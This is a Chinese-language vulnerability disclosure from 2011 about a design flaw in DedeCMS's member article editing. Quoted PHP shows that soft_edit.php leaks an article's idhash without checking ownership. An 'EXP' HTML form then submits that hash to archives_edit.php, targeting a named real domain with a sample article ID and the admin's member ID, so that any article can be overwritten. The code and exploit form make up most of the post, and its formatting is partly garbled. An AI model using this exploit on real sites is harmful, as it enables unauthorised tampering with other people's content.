发布日期:2011-01.25 影响版本:DEDEdedecms8.com">dedecms8.com">CMS 漏洞类型:设计缺陷 01 if(empty($dopost)) //如果这里是空也就是直接访问这个文件 02 { 03 //读取归档信息 04 $arcQuery = "Select 05 dede_channeltype.typename as channelname, 06 dede_arcrank.membername as rankname, 07 dede_channeltype.arcsta, 08 dede_archives.* 09 From dede_archives 10 left join dede_channeltype on dede_channeltype.id=dede_archives.channel 11 left join dede_arcrank on dede_arcrank.rank=dede_archives.arcrank 12 where dede_archives.id='$aid'"; 13 //悲剧了 没有验证MID信息 AID这里就是文章ID 可以自定义! 14 $dsql->SetQuery($arcQuery); 15 $row = $dsql->GetOne($arcQuery); 16 17 //省略一堆验证代码.... 18 include(DEDEMEMBER."/templets/soft_edit.htm"); //载入模板[code] 19 //再看这个soft_edit.htm 的代码 20 //其中一段是 21 <input type="hidden" value="<?php echo md5($row['id'].$cfg_cookie_encode); ?>" /> //然后用修改文章的文件去利用 01 if($dopost=='save') 02 { 03 include(DEDEMEMBER.'/inc/archives_check_edit.php'); //这里是验证idhash 04 //省略一堆没用的代码 05 $upQuery = "Update `dede_archives` set 06 ismake='$ismake', 07 arcrank='$arcrank', 08 typeid='$typeid', 09 title='$title', 10 litpic='$litpic', 11 description='$description', 12 keywords='$keywords', 13 mtype = '$mtypesid', 14 flag='$flag' 15 where And mid='$mid'; "; //默认的MID是1 也就是ADMIN管理员 aid就是文章ID 1 $ckhash = md5($aid.$cfg_cookie_encode); 2 if($ckhash!=$idhash) //idhash就是这样用的 3 { 4 ShowMsg('校对码错误,你没权限修改此文档或操作不合法!','-1'); 5 exit(); 6 } EXP:
01 <form method="post" action="http://www.t00ls.net/member/archives_edit.php?dopost=save" enctype="multipart/form-data"> 02 <label> 03 <input type="text" value="44003" /> //这里是文章ID 自己在plus/view.php里找 04 </label> 05 <label> 06 <input type="text" value="1" /> //发布人的MID 默认ADMIN是1 07 </label> 08 <label> 09 <input type="text" value="1" /> // 栏目ID 不知道的就自己新发表一篇然后看源代码找到可以发布的ID 10 </label> 11 12 <label> 13 <input type="text" value="test" /> //文章标题 14 </label> 15 16 <label> 17 <input type="text" value="test" /> //文章内容 18 </label> 19 <label> 20 <input type="text" value="32bbac95e90baaffad905bb3d44edd9f" /> //idhash 在第一步里说了怎么获取了 21 </label> 22 <label> 23 <input type="text" value="1" /> //验证码。。新发布文章就能获取 24 </label> 25 <div></div> 26 <input value="确定修改 " type="submit"> 27 </form>
发布作者:心灵
官方网站:
漏洞描述:这个漏洞不足以得到马儿 但能修改任何文章 也算是一个严重的漏洞!
废话不说
经典对白 看代码!
member\soft_edit.php
//输出了 idhash 这个很重要
//这样就得到了要修改文章的idhash
看代码archives_edit.php
现在看下archives_check_edit.php这个文件
//这样就成功修改文章了
这样就能任意修改任何文章了..........